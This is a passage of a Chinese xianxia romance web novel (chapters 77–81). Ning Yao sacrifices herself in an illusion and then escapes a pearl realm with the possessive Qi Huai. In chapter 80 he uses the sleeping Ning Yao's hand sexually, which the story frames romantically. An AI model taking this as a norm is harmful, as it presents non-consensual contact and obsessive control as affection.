宁瑶修的灵力,最易被暴戾魔气灼伤反噬。 那自他伤口渗出的漆黑雾气,已然缠上她扶稳他的手背,顿时响起一阵“呲啦”灼响,双手立时传来一股灼蚀剧痛。 她疼得一颤,却没缩手,反而将他胳膊握得更紧扶稳他坐下。 祁淮瞳孔一缩,眼底漫上猩红。 可他越是心急压制,魔气外溢得越是猖狂。 宁瑶抬起眼,硬是挤出笑来:“不疼。” “夫人,你快离我远些。” 祁淮声音嘶哑得厉害,裹着压抑着的恐慌,狼狈地想挣开她的手。 宁瑶眼尾红透,一颗泪直直砸在他青筋凸起的手背上,“你别乱动。你越动,我越不会停。” 她颤抖着为他重新上药包扎,待到伤口处理完毕,十指已布满黑紫伤痕,疼得靠着岩壁微微抽气。 祁淮靠在岩壁,眼前光影分割,宁瑶的容颜忽明忽暗,可他迟迟不愿意合眼,可终究敌不过睡意逐渐侵袭向大脑。 他意识涣散,最后映入眼底的,是宁瑶焦急的脸颊。 ……夫人。 夫人,让我再看看你。 她急得声音都变了调,转头忙向黑蛇求助:“怎么才能抑制他的魔气扩散?我要怎样才能救他?” 黑蛇歪了歪头颅,赤色竖瞳看了看气息奄奄的祁淮,又看了看宁瑶,尾巴尖忽地指向洞穴深处。 下一秒,蛇尾便不容分说地卷起两人,风一般窜了进去。 洞内竟是另一番天地。 一束天光恰从岩缝漏下,正照在一汪碧色的池水上,池水浅的及脚踝,清可见底。四周石壁被一种开满蓝白小花的藤蔓覆盖。 若不是祁淮命在旦夕,宁瑶倒真想赞叹一句好看。 黑蛇将两人放在池边,第一次发出嘶哑晦涩的人言:“放,进去。封印,但,祭品。” 蛇尾先点了点昏迷的祁淮,又转向宁瑶,碰了碰她腰间那柄防身的短剑。 宁瑶瞬间懂了。 她将祁淮小心地背到池边,扶着他浸入微凉的池水中。 水面漾开血色,他周身的伤口竟以肉眼可见的速度开始愈合。 几乎是同时,池水泛起柔光,那些安静的藤蔓仿佛突然活了,如灵蛇般朝宁瑶探去。 宁瑶毫不犹豫地拔出短剑,在掌心用力一划,疼得蹙眉不语。 “嗖”地一声,藤蔓缠上她的手腕,将她牢牢缚在池边石上。 一种生命被强行抽离的剧痛,鲜血顺着藤蔓流淌,渗入池水,这光芒便愈盛。 藤蔓间浮现出古老繁复的阵纹,随着宁瑶越发急促的心跳明灭鼓动。 祁淮残存的意识出魔气正被一股温和却不容抗拒的力量封印,直至魔气不在溢散。 待阵光彻底熄灭,宁瑶被藤蔓径直松开,像一片轻飘飘的枯叶,跌落在地。 一头青丝,已成雪白。 宁瑶撑起虚软的身形,浑身战栗,第一时间踉跄扑到池边,将沉在水中的祁淮捞起。 他脸上恢复了血色,伤口尽数愈合,呼吸平稳,只是仍未醒来。 宁瑶跪坐在他身旁,松了一口气。抚上祁淮的脸颊,满是眷念不舍地落下一吻。 她全明白了。 黑蛇带他们来此,以她生机为祭,换他性命无虞。 可她自愿。 她唇瓣微颤,一滴泪落在那眼下两颗小痣上。 黑蛇朝她眨了眨赤红的竖瞳,“疼?” 宁瑶颔首,攥紧了拳头克制身体的颤抖,“日后,祁淮便再也不会被人察觉出魔气了,对不对?” 黑蛇闻言点头,“嗯。” 宁瑶扬唇笑了。 不会被人发现,千年后的属于她的时间,即云宗也保住了。 可还差一步。 宁瑶忍着疼,咬牙看向这条颇有灵性的黑蛇,“你的行动快,便带祁淮走吧。往人迹罕至处去,越快越好。” 黑蛇似是听懂了她的话,眼神只是落在祁淮身上,它拖起昏迷的祁淮重新潜入山林深处。 宁瑶来不及仔细包扎伤口,草草解决,便转身朝着相反方向奔去。 她在山中迂回拖延,可身上早已不知中了多少蛊毒暗算,又全身无力,生机枯竭,已经没了多少力气。 不足两日的功夫,便被御蛊司的众人找到,团团围住,逼至悬崖边缘。 宁瑶不知道祁淮跑了多远,可强撑着最后一丝劲儿仍是散了。 摇晃着身形,猛地喷出一口鲜血,半跪撑着地,猛烈地咳嗽声回荡在悬崖之上。 她冷汗浸湿鬓角白发,唇色苍白,咬紧后槽牙,回光返照似的精气神忍住身体的疲惫和剧痛。 “别追了,”望着步步紧逼的御蛊司众人,宁瑶声音虚弱,却字字清晰,“祁淮非魔,我才是魔。” “不过几日满头白发,果然是魔。” 牟茵捂着伤口,微眯起眼,眸光不善,对为首者低语道:“不如我们抓回去,细审是否尚有魔族同党?” “行。” 眼看他们步步逼近,宁瑶小心地后退一步。 足边碎石滚落深崖。 只能跑到这里了…… 宁瑶不再犹豫,转身跃进深崖。 这一刻,她忆起了即云宗的好多人,兜兜转转,最终记忆定格在了与祁淮的点点滴滴。 桂花树,玉兰花,秋千,甜糕,即云宗时他们的小院…… 眼角滚落一滴热泪随风散去。 所有的一切戛然而止,终陷入了长久的黑暗。 作者有话说:[爆哭] 第78章 宁瑶掀开沉重的眼皮,被涌入视野的盎然春意晃得怔了一瞬。 她撑起身,揉了揉仍残留着钝痛的后脑勺。她记得踏入戒子珠时,眼前是茫茫雪山,才寻到祁淮的影子,意识便断了线。 坐起时一阵眩晕袭来。 本能地环顾四周,绿意葱茏,静谧无人。 确认安全,她稍定下神。 低头见手指上数道被冰划出的伤口,已被人细致地包扎妥当。 此时,一阵尖锐的刺痛袭去脑海,嗡嗡耳鸣,无数记忆碎片翻涌上来。 宁瑶神色一改,浑身定在原地。 她记得曾被拖入一个幻境,那里真实得可怕。 在那里,她忘尽前尘,只以为自己是即云宗掌门之女“宁瑶”。而此刻强行拼凑那些断续的画面,只令太阳穴突突地跳着疼。 “祁淮……”宁瑶低喃着,心底涌上一股复杂的涩意。 原来剥去所有顾忌,她也可以那样恣意爱上一个人…… 扶着身旁树干,宁瑶摇摇晃晃地站直,试探着朝前迈了两步,身后骤然响起一道凌乱急促的脚步声。 未及回头,一只手臂已横揽过她的腰身,天旋地转,被稳稳接入一个微凉却坚实的怀抱。 “祁淮?”宁瑶怔了怔,仰头看清来人。 这一刻,宁瑶有些恍惚,分不清眼前人是真实的他,还是幻境中那位与她朝夕相对的“夫君”。 四目相对,她不由自主地睁大了眼,眼尾不禁泛红:“祁淮。” “嗯。”祁淮低应。 他眸中雀跃的光要满溢出来,可那目光深沉得骇人,紧紧锁着她时,如同潮湿温腻的雾气,一层层包裹上来密不透风。 “醒了?不舒服先别乱动。”察觉怀中人轻轻挣了一下,他手臂立刻收得更紧,声线压低,“还有哪里难受?” “没有。”宁瑶举起包扎好的手,冲他晃了晃,唇角弯起,“只是手划伤了,脚又没事,我能自己走。” 祁淮眸色暗了暗,索性原地坐下,仍将她侧抱在怀里,不容置喙。 “疼吗?” 宁瑶摇头,“现在不疼了。”指尖轻勾了勾他鬓边的小辫,辫梢银铃一响。 “祁淮,”她望进他眼底,“你在生气?” “我生你什么气?”他执起她受伤的手,指尖小心翼翼地摩挲过纱布边缘,眉头微蹙,专注的目光却始终未从她脸上移开。 “我只要你往后不许再让自己处于险境,即便我伤在你前头,你也得先护好自己。” 那眼神里浓得化不开的忧惧,宁瑶被沉沉笼罩其中。 “真的只是小伤。”宁瑶无奈地一笑,抬手轻轻捂住他的嘴,“日后不准说这种话。” 他轻轻颔首,亲在她掌心。 宁瑶痒得缩了手。 “以后小伤也不行。”祁淮拆开纱布一角,见底下肌肤已被灵药修复得光洁如初,摩挲着指尖,低头又将一个轻吻转而落在她指尖。 酥麻的触感如细微电流,倏地窜进心口。 宁瑶指尖一蜷,想抽回手,却被他握得更牢,“痒……” 她耳根发热,小声嘟囔:“我还没洗手……” “不脏。”祁淮灼热的气息拂过她掌心,甚至将侧脸依恋地贴了上去,让她温热的体温一点点渡过来,“一点也不。” 宁瑶拗不过他异于往常的执着,只好任由他将自己的手指一根根亲过去。 可即便这样,祁淮半垂的长睫轻颤,那目光仍是牢牢盯紧着她,半分不曾挪开。 “你可有受伤……”宁瑶视线上下一扫。 “没有。”祁淮微歪头,铃音轻响。 “没有就好,这是哪呀……”她飞快地瞥了眼四周,试图把跑偏的话题给拽回来,转移自己注意。 “我们不是进了戒子珠吗?我记得我昏迷在了雪山,可这儿看着不太对劲。” 祁淮跟着扫视了一圈:“嗯,此处空间已大变。我探查过,暂无危险。” 静了片刻,祁淮忽然垂下眼一笑,将她一只手拉起,十指紧紧扣住,按在自己心口,致力于将宁瑶的注意力落在他身上。 手下正传来急促而沉重的搏动。 “听到了吗?”祁淮压低嗓音,如同诱哄。 “嗯,听到了。” “那昏迷之后的事,你可还记得?”祁淮声线藏着不易察觉的紧绷。 宁瑶干咽了一下,抬眼撞进那一双幽深的眸子里,声音不自觉地小了:“……记得。” “记得多少?”祁淮的目光寸寸掠过她的眉眼,不放过任何一丝细微的变化。 见她垂眸似在回想,他指尖已抚上她的脸颊,捧着她抬起头来。他的视线,竟是一刻也离不得她的视线。 紧紧交缠,方能解去心头不安。 小猫不说话时那般安静,安静到,他贪婪听着她的呼吸声、心跳声。 “一部分。” 这话一出,祁淮心跳如擂鼓,捧住她脸颊的手微微用力,已先一步凑上去,吻住了她的唇。 感受到她呼吸一滞,她的温热的气息真实地拂过鼻翼,心中那片无止境的空洞,才仿佛被她完完全全的存在填满。 宁瑶的手指蜷了蜷,又慢慢松开。 她想起记忆最后一刻,心尖蓦地一软,纵容便无声地漫了上来。 任由他直捣长龙般撬开唇齿,交缠丁香。纠缠间舌尖掠过每一处敏感,带着不容拒绝的力道。 他辗转厮磨,极有耐心地舔去她唇边水光,喉结滚动,将她口中的津液悉数吞下。 他唇角轻蹭着她因喘息而张开的唇,指腹擦去她下颌的水珠,“记得一部分也好。” 祁淮声音低哑,带着诱人沉沦的磁性感。 宁瑶听得忍不住揉了揉耳垂,“嗯,你呢?” 祁淮发现她有趣的小动作,抬手捏了捏她耳垂,凑近极轻咬了一口。 他一字一顿,字字清晰,“全部记得。” “我们该怎么出去……” 宁瑶未尽的话语再次被他吞没。 他不轻不重地扯了一下她的下唇,才略略分开,眼底氤氲着未餍足的晦暗。 “留在这里。” 祁淮收拢手臂,带着一丝不易察觉的颤抖,宁瑶被更深地摁进怀里。 幻境中两次失去她的战栗与疯狂仍啃噬着神经,让他心口发紧,几乎窒息。 他像是寻求确认她的存在,又重复了一遍:“就留在这里。” “我……”宁瑶在他怀里轻轻摇头,“我们不能停留太久,外面不知什么情况。” 祁淮从她片刻的纵容里尝到了甜头,病态的欢愉带着更深的执拗,微凉的气息贴着她耳畔。 “……别丢下我。” “我不会丢下你的。”宁瑶语气坚定。 ——祁淮似乎变得格外粘人了。 作者有话说:越写越困,更少一点[爆哭] 第79章 宁瑶还想说什么,祁淮的指腹却轻轻摩挲过她的脸颊,微凉的触感恰好打断了思绪。 “饿了吗?” 见她点头,他便从储物袋中取出一碟造型别致的糕点,“慢慢吃。” “你怎么备了这么多?”她捏起一块,惊讶道。 “总归要备着,保证你想吃的时候就有。” 宁瑶抿住唇,没能压住嘴角翘起的弧度,“哦”了一声,低头咬起了糕点慢慢品尝。 两人并肩坐着。 她吃着,思绪便飘到了如今二人之间说不清道不明的关系上。 好似有什么悄然变化,她并不讨厌。 鬼使神差地,宁瑶侧脸看向祁淮,却猝不及防地撞进他的幽深目光里。 他早已在看着她。 那双眼睛深邃专注,眼下两颗小痣蛊惑至极,看着她就像锁住了她一般。 宁瑶呼吸微滞。 “你过了幻境,那些记忆还留着?是不是受了影响?”她咽下糕点,忍不住开口。 祁淮身子几不可察地一僵。 他伸出手轻轻擦去她唇角碎屑,动作温柔,眼神却沉在暗处。 “即便没有那些记忆,”他缓缓道,“也影响不了我……” 宁瑶忽然感到一阵尖锐的耳鸣袭来。 她蹙眉低哼一声,下意识按住太阳穴。 祁淮迅速将她揽入怀中,微凉的手指抵上她的太阳穴,力道适中地揉按着,声音里满是不加掩饰的慌张:“怎么了?” “没事,就是突然耳鸣,”宁瑶靠在他胸前,声音有些闷,“你刚才说什么,我没听清……” 祁淮到了嘴边的话顿住,垂眸紧盯着她,确认她并无其他不适后,眼底那层勉强压抑的、潮湿而偏执的神色,终于无声无息地漫了上来。 他不再掩饰,修长的手指一下又一下,轻柔地点了点她的后颈。 像在安抚,又像一种无声的标记。 “……无事。”一切都藏进了那双渐深的眸光里。 光阴淌过七日,宁瑶总觉得祁淮有些她说不出的不对劲。 这方戒子空间被摸索得七七八八,并无甚稀奇。 宁瑶指尖触及袖中那枚硬物,微微一停。 令牌早在她手中,离去是随时之事。 只是祁淮不愿,她便也由着它藏在袖里,仿佛藏住一个心照不宣的小秘密。 “这戒子珠,从何而来?”宁瑶仰首,望见空间内独立着一株桂花树,位于正中央,左右端详,愈看愈觉眼熟。 “上古遗物。彼时神魔尚存于世。” 祁淮视线掠过她凝望桂树的侧颜,伸手牵住她的手掌,在掌心轻轻摩挲。 “后来诸多器物自苗疆流散,此珠因内蕴冰雪天地,被族中沿用,定为圣子之争的试炼场。” 宁瑶偏过头看他:“你不觉得……它很像你院中那棵吗?” 祁淮眼底有暗流掠过,面上笑意仍是温润无害:“是吗?我倒看不出。” “祁淮,”宁瑶轻声道,“我们该出去了,在此处已停留数日。” 他握她的手紧了紧,“这里不好?” “这里很好。” “那便是我不好?”祁淮一眨不眨地盯着她,不肯错过她脸上丝毫的神色变化。 “你也很好。”宁瑶安抚地回握他,却猝不及防被他一个力道拉入怀中。 “别回去。” 在这里,小猫只能看见他,听见他。 外面那些人——不,是任何人,都休想再分走她半点注意。 “你还记得,我们来苗疆,本是为了解蛊吧?”宁瑶靠在他怀中,状似随意地提起此事。 颈后传来熟悉的酥麻热意,心跳亦失了往常的节奏,擂鼓般躁动起来。 祁淮一手搂抱,指尖微微蜷缩摩挲她后背衣料确认她的存在,抬眸时眼底暗色几乎将她的身影吞没,“解了蛊,你便要离开我吗?” 他忽地倾身逼近,目光锁死她,指节在身侧悄然攥紧。 “你眼中,从前不见欢喜,不见占有,不见与我同般的渴望……如今却做不得假。”祁淮忽地低笑一声,目光细细描摹她每一寸神情。 “情缠蛊,情缠永世,生死同命。我不同意,你解不开的。”他就像是被抛弃的狼崽,哪怕亮出爪牙,也是要她留下。 宁瑶先是怔住,随即嘴角轻扬,眼底是盈盈笑意。 这家伙,何时学得这般霸道? 可她心底,竟生不出一丝气恼。 见她还敢笑,祁淮眸中阴郁几乎要溢出来,可在对上她清亮妍丽的眸子时,瞬间冰消雪融。 他微歪头,铃音轻响。 不过连那点委屈都来不及浮现,怀中人忽然踮脚一个轻吻落在他唇角。 他怔得一瞬,喉结一滚,贪婪目光攫住她的表情,呼吸间尽是她周身馨香。 他不再忍耐,掌心托住她后颈不许她退开,反客为主地撬开唇齿,相依中加深了这个吻。 “这一回,可是,你主动的。” 小猫主动了。 不是脸颊,是唇角。 此刻,情缠蛊与否,早已不再重要。 宁瑶早已寻到了她的答案。 退开后,她头贴在他肩胛轻轻喘气,神色软了下来,扬起一抹释然的笑意:“即便不解,我也知晓答案了。如今既知心意,我们真得快些出去。玉溪锦说过,此地恐有坍塌之险。” 祁淮愉悦地侧过头,唇角轻扬,蹭了蹭她的发丝:“嗯。听你的。” 安抚妥当,宁瑶便用令牌传送离开。 一间清扫得格外干净的仓库,中央那枚被妥善安置的戒子珠正流转微光。 他们刚站稳,屋外便传来一阵急促又细碎的脚步声。 祁淮牵着她的手,戒备地将宁瑶严严实实挡在身后。 此时,第一个冲进来的侍卫厉声喝道:“何人擅闯——圣、圣子?!” 随后涌入的众人齐齐刹住脚步,惊疑不定的目光落在两人周身。 玉溪锦正巡至附近,闻讯疾步赶来。 亲眼见到祁淮与宁瑶活生生立于眼前,他眸光一紧,迅速命人让开道路去请族长,引两人前往书房。 “回来就好。”玉溪锦语气干练,听不出太多波澜,“也算命大。” “运气罢了。”祁淮声音压低,“毕竟运气不好的,早都死了。” 玉溪锦冷哼一声,视线不着痕迹地掠过宁瑶,最终定格在那紧紧相扣,旁若无人的十指上。 面色陡然冷硬几分,蓦地收回目光,脚下步伐加快:“前面就到了。” 祁淮唇角几不可察地弯起一丝弧度。 这一路走来,苗疆族人惊愕、探究的目光,实在让宁瑶有些招架不住。 “我们离开了多久?”宁瑶找了个话题。 “一年有余。”玉溪锦答。 幻境中经历的时光,竟与外界流逝的时间一样。 “你们在戒子珠里究竟遇到了什么?” 宁瑶略去诸多细节,只道:“跌入了一处幻境,看到些记忆的残影罢了。” 玉溪锦不再追问。 不多时,三人已抵达族长书房。 说是族长,实则是统御苗疆主城乃至整片疆域的王。书房布置得精致而大气,中央供奉着一尊木雕蛊神,两侧是堆满卷宗的书案。 宁瑶刚踏入房门,一个抱着大卷画卷的侍女便匆匆撞上她。 银铃脆响间,宁瑶扶住侍女踉跄的身子,在几声匆忙的“对不住”和“多谢”中,抱着画卷快步离开了。 两人甫一落座,族长便到了。 年迈的老者留着雪白的胡须,身形硬朗,面色从容于主位坐下,与祁淮简单寒暄几句,问起戒子珠内情,祁淮三言两语只说是一处幻境,内情早忘的干净了。 族长继而长叹,他看了一眼那戒子珠,“这珠子一年前本已现崩碎之兆,却不知何故裂缝后稳定下来,此后任谁也无法驱动,即便持有令牌也无法进入。万没想到,你们竟能平安归来。” 他目光落在祁淮身上,语气透着真切感慨,“祁淮,你能回来,我甚是欣慰。” 祁淮面上淡然,起身施了一礼,“戒子珠既已损毁,可否容我带走权当留个念想。” 族长点了头,并未再多留。 回程一路,祁淮都紧紧牵着宁瑶的手,仿佛稍一松手她便会消失。 直至回到他那间竹屋小院,推开门,昔日悉心照料的花草枯了大半,蔫蔫地耷拉着。 宁瑶脚步微顿,一眼便瞧见了院角那棵桂树。 她心下一动,将他拉到树下。 从前未曾留心,此刻仰头看去,竟也多了几分熟悉感。 “还真有点缘分。”她道。 祁淮侧过头望她,目光落在她弯起的眉眼,“嗯。” 这时,院门被叩响了,声音又急又脆。隔壁的阿姐于归云,一听他们回来,便提着个盖了防水布的竹篮赶来了,“你们可算回来了!” 她将篮子往宁瑶手里一塞。 宁瑶接过,掀开布角一瞥,是幅卷起的画轴。 她怔了怔,随即恍然,“多谢归云姐。” “客气什么。”于归云摆摆手,又朝门边斜倚着的祁淮努努嘴,“小淮,好好待小瑶,听见没?我先回去做饭了。” 祁淮懒洋洋地靠着门框,身子歪斜,唯独目光又沉又直,一直落在宁瑶脸上,“嗯。” 宁瑶耳根微热,忙不迭道了谢,轻轻拉了下祁淮的手,转身进了屋。 “这是什么?”祁淮跟进来,声音贴着她耳后。 宁瑶取出放在案上,“这上面画的,是你娘亲。” 祁淮脸上的唇角一抿,目光凝固。 他伸出手,指尖颤了一下,缓缓将画卷展开。 画上女子眉目清秀,气质淡雅,唇角噙着温柔的笑意,宛如一朵静绽的白芍药。 宁瑶凑近细看,忽然整个人顿住。 “这画……”她视线在画中人与祁淮之间来回游移,喃喃道,“我曾见过。” 作者有话说:[摸头] 第80章 “何处?”祁淮的呼吸难以抑制地急促。 宁瑶指尖拂过画卷上女子的面容,陷入回忆:“在洛府。我儿时常跟在洛子晟身后打转,有一回午后,看见丫鬟在晾晒收库的旧画卷,就瞧见了这一幅。” “洛子晟发现后发了好大一通脾气。”宁瑶抬眸,“他撕毁了不少画作,唯独这一幅仍是留下了。我躲在远处没被发现,印象便格外深。” 她对比着,若有所思:“画中人的服饰有不同。这幅白色苗疆服饰,满身银饰,华美夺目。而我当年看见的那幅,衣着是华丽的长裙长袖,但这面容改不了。” 祁淮眯起眼,目光死死锁住画中陌生的容颜。他试图在空白的记忆里挖掘出丝毫痕迹,却只余下一片茫然。 “洛府,洛子晟……”他低声道,无意识地摩挲着宁瑶的手背。 宁瑶点了点头,提议道:“不如等我们修整一番,便去羽安国探探吧。” 一丝近乡情怯悄然缠绕心头,青栀、宁子桉的身影一一浮现。 祁淮倒是想立刻携她动身。 可心底总有个声音叫嚣,若不将某些事彻底落定,他这只小心翼翼捧在手心的“猫儿”,仿佛随时都会从指缝间溜走。 婚印。 魂印。 ……夫人。 他眸底情绪一寸寸暗沉下去,却在宁瑶转头望来的瞬间,神情又变作一派纯净的无辜。 他靠过去,自然而然地环住她的腰,将下巴轻搁在她额头,手在她后背有一下没一下地轻抚。 “那便依你所言,修整妥当,我们再出发。” 宁瑶颔首。 二人刚从戒子珠的幻境中脱身,又寻得了与他身世相关的线索。 这一年,未给其他人报平安。 她走到桌边,执笔写了数封传信,折成千纸鹤。 天道宗的师尊、左长泽、青栀……已近一年音讯断绝,不知他们现下如何。 她专注此事时,祁淮便静立一旁,手臂看似随意地撑在桌沿与椅背,实则悄然将她圈禁在自己的气息范围之内。 待她停笔抬眸,正对上他幽幽的目光。 他嘴角微抿,眼底故意满是委屈的神色:“你不理我,已有整整一盏茶的功夫了。” “哪有人这般计较时辰的?”宁瑶忍俊不禁,想来那些幻境经历对他影响颇深。 她一边整理纸笔,一边状似无意地问道:“对了,在幻境最后,我意识模糊后,你是如何先一步醒来的?” 祁淮微歪头,嘴角笑意浅淡了点:“自然是紧随你之后,一同脱离的……” 宁瑶猜想许是幻境同时结束,两人便一道出来了,随口轻喃:“也不知我们经历的那个故事,究竟是真实发生过的往事,还是全然虚构的……” 祁淮自怀中取出那枚戒子珠递给她。 宁瑶接过,注入一丝灵力探查,却仍感知不到任何特别,便摇了摇头还给他。 祁淮指尖无意识地捻着戒子珠,温润的触感里,依稀还裹着她指尖残留的温热。 见她又低下头,专心致志地对付手里那只千纸鹤,他心里莫名淤了一口闷气。 等她手刚一顿,他便伸手,引她的手贴上自己后颈。身形前倾,侵入她的气息范围。 “这是做什么?” 祁淮咬了咬后槽牙,忽地凑上去,极快地在她唇上啄了一口。 退开半寸,又再度贴近,好让呼吸暧昧地交缠。 这才好整以暇地欣赏她瞬间僵住,如同木雕般的模样。 宁瑶抿了抿唇,万千思绪在脑子里打了个结,最后挤出一句:“……我该去沐浴了。” “一起?” 某些幻境里的纷乱画面不受控地闪过脑海,莹白的耳垂染上绯色,她几乎是弹起来,“不用,我自己可以。” 要他来,这澡还不知道得洗多久。 祁淮懒洋洋靠上床头柱,将海螺风铃系好,又慢条斯理地收拾了一下屋子,耳朵却时刻支棱着,捕捉屏风后每一丝细微的动静。 掠过一丝玩味的小恶趣味,踱步过去,指节叩了叩屏风面,声音拖长:“瑶瑶,真不一起啊?” 哗哗水声戛然而止,里面顿时静得悄无声息。 祁淮脸上散漫的笑意倏地敛起。 他闪身转入屏风后,里头却空无一人,只余淡淡水汽。 心下一空,肩头被人从后面轻轻拍了一下,“我在这儿。” 方才惊慌失措寻不见人影的祁淮猛地转身,一把将人狠狠摁进怀里,手臂箍得紧紧的,下颌抵在她发顶。 ……她是不是逗过头了? 宁瑶赶忙回抱住他,安抚地拍了拍他绷紧的脊背:“怎么了?吓到你了?” “没有,你先别动,”他声音闷在她发间,心底无名的燥郁正被这个拥抱一点点抚平,“抱一会儿。” 待各自沐浴完毕同榻而眠,宁瑶已困得眼皮发沉。 她先一步洗完,迷迷糊糊地想着从前祁淮只会静静立在床边,如今理所当然地躺在她身侧,姿态熟稔得仿佛演练过千百回。 在幻境也算演练吧。 “你去偏屋睡。” “不去。” 祁淮的指尖轻轻捏住她的指尖,按在他心口。另一只顺着她腰身下滑,稍一用力,便将两人贴得严丝合缝。 温度透过衣料蔓延开。 耳下传来的心跳,从平稳渐次加快。 宁瑶见他不动又懒得再争,寻个舒服姿势,将脸埋在他颈窝,一副困意满满的模样,微微仰头亲在他下颌。 少年心底病态的欢愉霎时窜起,几乎压不住。 他手臂环紧,声音低哑:“困了?” “嗯……”宁瑶轻哼一声别开脸,正好抽回手,顺便翻身,却被他箍住腰身。 “我就这样。"这一声解释,更像自语。 祁淮喉间发干。 隔着衣料紧紧贴住她后,他发现从前那些克制脆得像张纸,他总算明白话本里那些“抛诸脑后”的言论并非虚言。 此刻所有理智,确确实实,都在她身上应验了。 他鼻尖蹭了蹭她的脸颊,带着沐浴后淡淡的香气。 她竟就这样毫无防备,在他怀里寻到安稳似的,一动不动。 理智? 靠近宁瑶的那一刻就不复存在了,一股躁动的热流凶猛地窜过。 幻境与真实的界限原本清晰,可他绷了太久,又怕惊了她,只得将死死压抑着…… 少年手掌起初只安静贴在她小腹,待她呼吸逐渐绵长安稳,才牵引着那只柔软的手握去。 动作决绝,毫无保留。 躁动并未就此平息。 他低低喘息在她耳畔,对着睡熟的人儿的唇小心地吻了又吻。确认她不会醒来,又以灵力渡去,便如河水入海一般轻松。 宁瑶感觉到周身力气变化,特别是火灵气被安抚在体内,特别舒服。 这让她有理由,继续心安理得接着睡。 可是手上为什么有陌生的黏腻感? 她骤然清醒,视线飞快掠过少年近在咫尺的容颜。 面上染着未褪的潮红,唇瓣紧抿。 一副沉沦又渴意的模样。 宁瑶脸上一热。 不过,看似是祁淮在掌控这一切,可她莫名生出一种实则是自己在无形中拨弄他的错觉。 这念头让她觉得有趣,甚至忍笑忍得肚子微微一抽。 身体本能的反应,她手上不经意加重力道收拢。 刹那间,空气中弥漫的暧昧如烟花炸开,又急速消散。 宁瑶脑海一片空白,只听得耳畔是再也无法掩饰呼吸。 祁淮睁开眼,正对上她犹如小猫玩赏新奇物什般的目光,动作顿住。 赶紧掀开锦被,取过一方洁净帕子,掩去慌乱。他擦地仔细,不放过每一根手指,乃至微染的袖口都擦去了。 “衣衫湿了,不能穿了。”他诱哄地看着宁瑶,声音压低。 “都怪你。”她又羞又恼,她刚洗完香喷喷的澡,这家伙还真是“肆无忌惮”。 “大晚上的,你就不能消停些?” “我错了。” 他边说边手臂环过细腰,倾身压下,将人带入怀中,舌尖卷住肚兜一侧的轻轻一咬。 系带松落。 微凉的空气触到肌肤,宁瑶一颤。 “湿着睡,要着凉的。”他话音含笑,吻却密密落下来。 好似吞掉她所有未出口的抱怨。 她好不容易攒起的委屈,被他亲得七零八落。 “我要睡了。” 祁淮眉梢微挑,鼻尖亲昵地蹭蹭她的鼻尖,“就一会儿。” 察觉她身子放软,他吻得更深,直到她呼吸凌乱,指尖无力地揪住他背后的衣料,才略略退开些许。 宁瑶晕乎乎地想,这人绝对是故意的。 一步步,引着她踩进他设好的坑里。 狡猾的坏狐狸…… 她轻咬了他锁骨一口,碰了碰他的手心,“为什么不睡?” 他捧住她的脸,唇瓣温柔地贴着。 厮磨,继而侵入,带着不容置疑的独占意味,“我睡的。” 他抵着她唇瓣哑声诱哄,“不过再亲一次就睡。” 宁瑶撇了撇嘴别开脸,把头埋在被子里,“不亲不亲,亲了你能放开我?又得要下一个……” 少年哼笑着凑近些,掌心隔着被子摸了摸她后脑勺,“猜对了。” 宁瑶抬眸,嗔怪地瞪他一眼,眯起眼磨了磨牙,咬了他耳垂一口,“睡。” 祁淮心尖像被羽毛搔过,直把他看的心满意足。将宁瑶牢牢圈进怀里,掌心一下下轻拍她后背:“好,睡吧……” 倦意袭来,宁瑶在他怀中寻了个安稳的姿势,几个呼吸间便沉入梦乡。 凝望她宁静的睡颜许久,祁淮轻吻了吻她的额头,阖上眼拥紧睡去。 第二日,祁淮为宁瑶照例洗漱完毕,凑在她耳边黏糊糊地道别后,方才离家。 直至踏出院门,他唇角的弧度仍未散去。 身形微动,似一缕鬼影悄无声息地出现在族长书房内。指尖按上书案一方不起眼的旧砚,暗门滑开,他闪身而入。 族长早已等候在内,手中捧着一只古朴的木匣。 “你当真想清楚了?”族长凝视着他,语重心长,“一旦用了这‘婚印’,便是将两人命数捆在一生一世上。这是我族子弟人生头等大事,为一个外族女子值吗?” “值。”祁淮答得毫无迟疑。 “你这是在走你娘亲的老路。”族长刻意提及旧事,语气复杂。 当年之事讳莫如深,若非为此,眼前这心性难测的少年,又岂会对那“圣子”虚名生出半分兴趣? 如今,他身边竟又多了一个人,一个显而易见的软肋…… 族长面色一沉,木匣递出却在他即将触及时收回了半分,“她毕竟是外族人,即便得不到神树认可,只要你们安稳度日也……” “仪式要办。她喜欢的,风光热闹,我一样都不会少。”祁淮打断他,“我的名分,必须得有……” 名分这东西,是他求来的。 天上,地下,都得认。《 》 80-90 第81章 族长手中的骨杖重重叩响地面。 “选外族女子,那神树考验之路,可不会风平浪静,那般惬意。” 他枯瘦的手指指向祁淮腰间四角铃铛,“你是圣子,圣子不该有软肋。” “而且那通往神树一路,每走一步,便有钻心之痛,那姑娘能靠着你的情缠蛊安然无恙,可你呢?” “上一次成功,已是千年前的事了。就连你娘亲当年……” “我不是她。” 祁淮忽然轻笑,指尖抚过腰间的四角铃铛,上面是宁瑶亲手编的红色系绳。 族长逼近一步,“若神树不认可呢?” 毕竟神树只认苗疆之人。 暗室内,烛光照亮祁淮半边脸庞。 他睫毛在颊上投出细密的影。 “不认?”他微歪头,似笑非笑道,“那我便拆下他一截枝干,种到院子里去,日日挂着银牌。” 族长直白盯着他,沉默良久,终是将木匣放入他手中,长叹一声,“阿淮,愿你选的这条路不会错。” 匣子入手微沉,祁淮阴郁的眸子微敛,收入袖口妥帖放好,“我心意已决,族长不必相劝了,多谢。” 他迫不及待地回到那小院,脚步快得生了风,将宁瑶身影要牢牢印刻入眼帘。 仿佛只要迟上一瞬,这梦就会“啪”地一声碎得无影无踪。 宁瑶正仰头望着角落那棵桂花树。 世上的桂花树有千万棵,大多无人在意。除非有一棵,是自己亲手种下的,它便成了心头独一无二的存在。 纷乱的幻境记忆似乎清晰了些许,她有意去寻了那些往事考证了一番,只在一县志书上偶然写了一句:白发之魔,死与山崖,尸骨无存,并无同党,可谓好事一桩。 她想到这些记载有些恍然。 祁淮将微凉气息拂过她耳畔,故意压低的嗓音佯装阴沉:“在寻什么宝贝?” 他悄无声息地贴近她身后,弯腰无声一笑。 没听到熟悉的铃音,又被他这突然的声音吓得身形一颤,宁瑶蓦地转身,扬起的发尾甩扫着他的脸颊。 “祁淮,你吓我一跳。”宁瑶抚着心口,没好气地瞅他一眼。 祁淮微微眯起眼,不动声色地深吸了一口气。 极淡的馨香,顺着呼吸渗入肺腑。 祁淮敛下眼底翻涌的暗色,“方才看什么,那般入神?” 